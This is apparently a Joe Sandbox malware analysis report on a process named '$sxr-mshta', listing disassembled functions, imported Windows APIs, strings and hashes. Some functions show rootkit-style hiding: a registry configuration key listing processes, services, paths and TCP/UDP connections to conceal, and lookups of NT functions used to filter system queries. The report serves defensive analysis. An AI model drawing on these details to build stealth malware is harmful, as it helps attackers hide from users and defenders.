_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF64E1D1637
exit.MSVCRT ref: 00007FF64E1D16C9
_cexit.MSVCRT ref: 00007FF64E1D16D8
_ismbblead.MSVCRT ref: 00007FF64E1D16F8

Memory Dump Source

Source File: 0000000A.00000002.3381060443.00007FF64E1D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64E1D0000, based on PE: true

Associated: 0000000A.00000002.3380937686.00007FF64E1D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381242607.00007FF64E1D4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff64e1d0000_$sxr-mshta.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: 8ef2287d5b1e52fc58e3dc8e8be003c765be3ed4ec92099b48e4b2bdbdfc42d3
Instruction ID: 9ce18431be7ac1266546f5b5290e517e13c0bd4919b75c8b07c04d19a30ae9fb
Opcode Fuzzy Hash: 8ef2287d5b1e52fc58e3dc8e8be003c765be3ed4ec92099b48e4b2bdbdfc42d3
Instruction Fuzzy Hash: 0D51157AB8C64686F760BB21E840B7923A0AB65744F584235FA5EC36A1DF7CF845CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DD1D0 Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000001ACEA2DD1E9
FreeEnvironmentStringsW.KERNEL32 ref: 000001ACEA2DD2AD

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction ID: d7e44de80ec280aac5274c655e623d31870291c3fec4d6edb48b5ed20f94a573
Opcode Fuzzy Hash: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction Fuzzy Hash: 8921FB31B17B5086E6609F166404299BBA4FB85BD1F485224DE8D37BDBDF38C4518781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF64E1D14B0 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getmainargs.MSVCRT ref: 00007FF64E1D14E8

Memory Dump Source

Source File: 0000000A.00000002.3381060443.00007FF64E1D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64E1D0000, based on PE: true

Associated: 0000000A.00000002.3380937686.00007FF64E1D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381242607.00007FF64E1D4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff64e1d0000_$sxr-mshta.jbxd

Similarity

API ID: __getmainargs
String ID:
API String ID: 3565562838-0
Opcode ID: cdd84e5d3e8c1246c9bff8370a8ef8597eefc2c4ea14271d2e770916b66b2895
Instruction ID: 3a66ebd7201b44840360df93bb57a1999369df8448cf2c3f9572efc7e56f2eae
Opcode Fuzzy Hash: cdd84e5d3e8c1246c9bff8370a8ef8597eefc2c4ea14271d2e770916b66b2895
Instruction Fuzzy Hash: D9E0527CE8D64B96EB10BB50A8408B93760BB25744B804032E50D93220DE3CB209CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE90029A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 000001ACE9002A42

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 967f5a60b1285b5eef8a28cd2e8c1313bc106c537eda0a7a65d4cc7fb4b1b414
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: B161367270225087EF68CF99D4507EDFBA2FB4AB94F848825DA0987785DB38D852C742

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DB900 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001ACEA2DB955

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction ID: 83df6916cc1239768e0931c53856f4ddedb9e0b88209bf89eccc87a24bbd9ebf
Opcode Fuzzy Hash: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction Fuzzy Hash: 9BF090747032C488FE555B6E96613D51A805B4BB82F0C8434C90EB63D3DD2DC4808693

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DB978 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 000001ACEA2DB98E

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction ID: 333e2d96aa62b3b99d42db3355980e81897da702e772fe3cb6e74ba7cf284712
Opcode Fuzzy Hash: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction Fuzzy Hash: 85D02270B030808AFF1997EF68613F009405F97B87F04C028CC0CB1253EA0144D046C3

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE8AF0FC1 Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.3379031607.000001ACE8AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001ACE8AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace8af0000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 221c8e864b36e7735be923a6526a0bd4c90093ff6b0ac4698a62851cba458ce5
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: 1B90021459740655D41512910C4629D64406389350FD444904416A0144D58D02A653A3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001ACEA2D2D78 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001ACEA2D2E1C
lstrlenW.KERNEL32 ref: 000001ACEA2D3056

Part of subcall function 000001ACEA2D1A14: OpenProcess.KERNEL32 ref: 000001ACEA2D1A3A
Part of subcall function 000001ACEA2D1A14: K32GetModuleFileNameExW.KERNEL32 ref: 000001ACEA2D1A58
Part of subcall function 000001ACEA2D1A14: PathFindFileNameW.SHLWAPI ref: 000001ACEA2D1A67
Part of subcall function 000001ACEA2D1A14: lstrlenW.KERNEL32 ref: 000001ACEA2D1A73
Part of subcall function 000001ACEA2D1A14: StrCpyW.SHLWAPI ref: 000001ACEA2D1A86
Part of subcall function 000001ACEA2D1A14: CloseHandle.KERNEL32 ref: 000001ACEA2D1A94

GetProcAddress.KERNEL32 ref: 000001ACEA2D2E31

Part of subcall function 000001ACEA2D1554: StrCmpIW.SHLWAPI ref: 000001ACEA2D1585

Part of subcall function 000001ACEA2D39D0: StrCmpNIW.SHLWAPI ref: 000001ACEA2D39E8

StrCmpNIW.SHLWAPI ref: 000001ACEA2D2E74
lstrlenW.KERNEL32 ref: 000001ACEA2D2F9C

Strings

NtQueryObject, xrefs: 000001ACEA2D2E27
\Device\Nsi, xrefs: 000001ACEA2D2E67
ntdll.dll, xrefs: 000001ACEA2D2E15

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction ID: 35a1bed24b142ae761158cbd6255e29769bcfeccd1271f0b0450a59f2a7e0adf
Opcode Fuzzy Hash: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction Fuzzy Hash: 56B1D1323126918AEB598F2DD5407E97BA4FB42B86F14901AEE4D63B96DF35CC80C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D7F10 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001ACEA2D7F2C
RtlCaptureContext.NTDLL ref: 000001ACEA2D7F59
RtlLookupFunctionEntry.NTDLL ref: 000001ACEA2D7F73
RtlVirtualUnwind.NTDLL ref: 000001ACEA2D7FB4
IsDebuggerPresent.KERNEL32 ref: 000001ACEA2D8008
SetUnhandledExceptionFilter.KERNEL32 ref: 000001ACEA2D8029
UnhandledExceptionFilter.KERNEL32 ref: 000001ACEA2D8034

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction ID: 14bf8d0c2ebe5fe5bf4a41482183571988ed84d3eed68f1bcc8515b10a2eb459
Opcode Fuzzy Hash: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction Fuzzy Hash: 1431A272302B808EEB608F68E8407ED7760F78574AF44802ADA8E57B95DF38C548C750

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DB5AC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001ACEA2DB625
RtlLookupFunctionEntry.NTDLL ref: 000001ACEA2DB63D
RtlVirtualUnwind.NTDLL ref: 000001ACEA2DB678
IsDebuggerPresent.KERNEL32 ref: 000001ACEA2DB6B1
SetUnhandledExceptionFilter.KERNEL32 ref: 000001ACEA2DB6BB
UnhandledExceptionFilter.KERNEL32 ref: 000001ACEA2DB6C6

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction ID: 4c082cc9b46a12a4ff83e2f63ed2fb3b50bc58d30a4a487a732a2ceb36c8e9b4
Opcode Fuzzy Hash: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction Fuzzy Hash: 4131C436315F809ADB20CF29E8407DE37A0F789755F504116EA9D53B95DF38C545CB80

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DFF98 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001ACEA2E0007
WriteFile.KERNEL32 ref: 000001ACEA2E02BE
WriteFile.KERNEL32 ref: 000001ACEA2E0310
GetLastError.KERNEL32 ref: 000001ACEA2E0412
GetLastError.KERNEL32 ref: 000001ACEA2E0472

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction ID: f075b858299845cf7ae963e4c83b004bac1486a2d2b440fad124134e81e63d0e
Opcode Fuzzy Hash: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction Fuzzy Hash: 6FE11272709A809EE702CF68D0802DD7FB1F346789F158116EE4E6BB99DA38C55BC781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE900B0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001ACE900B100

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000001ACE900B483
*?, xrefs: 000001ACE900B127

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 0974ccd98fc7b9cab5d1c040b5a3b9264d1ca2e249b3198ec3b5983a8dd0c499
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: C9510372712B5485EF10DFE6A8106DDABA5FB5EBD4FC44921DE0D87B85EB38C0418381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF64E1D1ADC Relevance: 4.5, APIs: 3, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF64E1D1AE7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF64E1D1AF0
GetCurrentProcess.KERNEL32 ref: 00007FF64E1D1AF6

Memory Dump Source

Source File: 0000000A.00000002.3381060443.00007FF64E1D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64E1D0000, based on PE: true

Associated: 0000000A.00000002.3380937686.00007FF64E1D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381242607.00007FF64E1D4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff64e1d0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CurrentProcess
String ID:
API String ID: 1249254920-0
Opcode ID: 9cf6c44da13e02a05fc4d3dcc4ca3e30ed2f46184eaf7001aa2c8df375b04596
Instruction ID: eff9436ee664a6a6fb3846fbd81a6564da1ef290e4bb1e821d34349bbfc16670
Opcode Fuzzy Hash: 9cf6c44da13e02a05fc4d3dcc4ca3e30ed2f46184eaf7001aa2c8df375b04596
Instruction Fuzzy Hash: 56D0C759E4C507D6FB1837716C5543552609F6CB51F059034DB2B87310DD3C7486CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DBEDC Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e98009fc70158ea5415607d79adf01d037d59db10dc6a2a59361e2c62c52725f
Instruction ID: 1804976eeac7f45a8791683f7552c3acd3cea74bf78669456bcb59303b6c1cf9
Opcode Fuzzy Hash: e98009fc70158ea5415607d79adf01d037d59db10dc6a2a59361e2c62c52725f
Instruction Fuzzy Hash: 6951F0327056909DFB209B7AA9002DE7FA5B746BE5F148215EE9C67F8ACB38C501C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF64E1D1800 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF64E1D180B

Memory Dump Source

Source File: 0000000A.00000002.3381060443.00007FF64E1D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64E1D0000, based on PE: true

Associated: 0000000A.00000002.3380937686.00007FF64E1D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381242607.00007FF64E1D4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff64e1d0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d18d6d85a8f617bb5500e753f487753302b7fe5cd23ded35b267988b4d6b386f
Instruction ID: be70d6fb7d9730957015856da2115a43447da22d2a682f9b348507b9cec9baeb
Opcode Fuzzy Hash: d18d6d85a8f617bb5500e753f487753302b7fe5cd23ded35b267988b4d6b386f
Instruction Fuzzy Hash: E8B09218FA9402E1E604BB619C8146012A0AB68720FC10430D10DC2120DE5CA19A8F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE9011540 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a0dc21c4cc38a4ec26d0a9d58c393b00474c81d7d375ca2079895bfbc551e1
Instruction ID: 27e0c2f26730fa75359452f94bcff31a48825c71f4b90babbe0e480e9d18d965
Opcode Fuzzy Hash: 02a0dc21c4cc38a4ec26d0a9d58c393b00474c81d7d375ca2079895bfbc551e1
Instruction Fuzzy Hash: F4F068727152548AEB95CF69A442B997BE0F34C3C0F808519D68AC3B14D33C84509F45

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2E3228 Relevance: .0, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7465cf9d9df8522566c1825c6aca6e7efb4b7e8f362465355fb385eb86a5387d
Instruction ID: fef43c8687809109f500699dc2f355aac25a11132c3f1021da8e4966bfd68607
Opcode Fuzzy Hash: 7465cf9d9df8522566c1825c6aca6e7efb4b7e8f362465355fb385eb86a5387d
Instruction Fuzzy Hash: C2E0C07BB0F6C11EE6A34A1C4C6A1882F90F767B22F09C04ECBE463283D1060C418757

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001ACEA2D165B
HeapAlloc.KERNEL32 ref: 000001ACEA2D166A

Part of subcall function 000001ACEA2D1274: GetProcessHeap.KERNEL32 ref: 000001ACEA2D127A
Part of subcall function 000001ACEA2D1274: HeapAlloc.KERNEL32 ref: 000001ACEA2D1289
Part of subcall function 000001ACEA2D1274: GetProcessHeap.KERNEL32 ref: 000001ACEA2D12A3
Part of subcall function 000001ACEA2D1274: HeapAlloc.KERNEL32 ref: 000001ACEA2D12B4

RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D16DA
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D1707
RegCloseKey.ADVAPI32 ref: 000001ACEA2D1721
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D1741
RegCloseKey.ADVAPI32 ref: 000001ACEA2D175C
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D177C
RegCloseKey.ADVAPI32 ref: 000001ACEA2D1797
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D17B7
RegCloseKey.ADVAPI32 ref: 000001ACEA2D17D2
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D17F2
RegCloseKey.ADVAPI32 ref: 000001ACEA2D180D
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D182D
RegCloseKey.ADVAPI32 ref: 000001ACEA2D1848
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D1868
RegCloseKey.ADVAPI32 ref: 000001ACEA2D1883
RegOpenKeyExW.ADVAPI32 ref: 000001ACEA2D18A3
RegCloseKey.ADVAPI32 ref: 000001ACEA2D18BE
RegCloseKey.ADVAPI32 ref: 000001ACEA2D18C8

Part of subcall function 000001ACEA2D12C8: RegQueryInfoKeyW.ADVAPI32 ref: 000001ACEA2D1326
Part of subcall function 000001ACEA2D12C8: GetProcessHeap.KERNEL32 ref: 000001ACEA2D1334
Part of subcall function 000001ACEA2D12C8: HeapAlloc.KERNEL32 ref: 000001ACEA2D1345
Part of subcall function 000001ACEA2D12C8: RegEnumValueW.ADVAPI32 ref: 000001ACEA2D13A1
Part of subcall function 000001ACEA2D12C8: GetProcessHeap.KERNEL32 ref: 000001ACEA2D13E9
Part of subcall function 000001ACEA2D12C8: HeapAlloc.KERNEL32 ref: 000001ACEA2D13F7
Part of subcall function 000001ACEA2D12C8: GetProcessHeap.KERNEL32 ref: 000001ACEA2D141B
Part of subcall function 000001ACEA2D12C8: HeapFree.KERNEL32 ref: 000001ACEA2D1429
Part of subcall function 000001ACEA2D12C8: lstrlenW.KERNEL32 ref: 000001ACEA2D1432
Part of subcall function 000001ACEA2D12C8: GetProcessHeap.KERNEL32 ref: 000001ACEA2D1440
Part of subcall function 000001ACEA2D12C8: HeapAlloc.KERNEL32 ref: 000001ACEA2D144E

Strings

SOFTWARE\$sxrconfig, xrefs: 000001ACEA2D16BA
startup, xrefs: 000001ACEA2D16FD
udp, xrefs: 000001ACEA2D189C
service_names, xrefs: 000001ACEA2D17EB
paths, xrefs: 000001ACEA2D17B0
tcp_remote, xrefs: 000001ACEA2D1861
pid, xrefs: 000001ACEA2D173A
tcp_local, xrefs: 000001ACEA2D1826
process_names, xrefs: 000001ACEA2D1775

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: 942e08efff57fe41156c140f0d67fc0396b61bf0044a7856eccda8ee7dfdfdc0
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: 35714D36312A5089EB11EF69E8806DD3BB5FB86B8AF009511DE4D67F29DF38C584C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D1EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72
librarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000001ACEA2D1EBD
GetCurrentThread.KERNEL32 ref: 000001ACEA2D1EC8

Part of subcall function 000001ACEA2D21C0: GetModuleHandleA.KERNEL32 ref: 000001ACEA2D21D8
Part of subcall function 000001ACEA2D21C0: GetProcAddress.KERNEL32 ref: 000001ACEA2D21E9

Part of subcall function 000001ACEA2D5CB0: GetCurrentThreadId.KERNEL32 ref: 000001ACEA2D5CEB

Strings

sechost.dll, xrefs: 000001ACEA2D1FE2
EnumServicesStatusExW, xrefs: 000001ACEA2D1FBA, 000001ACEA2D1FDB
NtDeviceIoControlFile, xrefs: 000001ACEA2D1FFF
NtQuerySystemInformation, xrefs: 000001ACEA2D1EEE
spopk.dll, xrefs: 000001ACEA2D1EB6, 000001ACEA2D2020
NtResumeThread, xrefs: 000001ACEA2D1F0B
NtEnumerateKey, xrefs: 000001ACEA2D1F62
Sysprep_Clean_Validate_Opk, xrefs: 000001ACEA2D2019
ntdll.dll, xrefs: 000001ACEA2D1ED6
NtQueryDirectoryFile, xrefs: 000001ACEA2D1F28
NtQueryDirectoryFileEx, xrefs: 000001ACEA2D1F45
advapi32.dll, xrefs: 000001ACEA2D1FA0, 000001ACEA2D1FC1
NtEnumerateValueKey, xrefs: 000001ACEA2D1F7F
EnumServiceGroupW, xrefs: 000001ACEA2D1F99

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: 69bede8bcbc7ef82e6cdb30a2f2d91b74dad5c58e0fbb65e3ff6cae2bf28b7b3
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
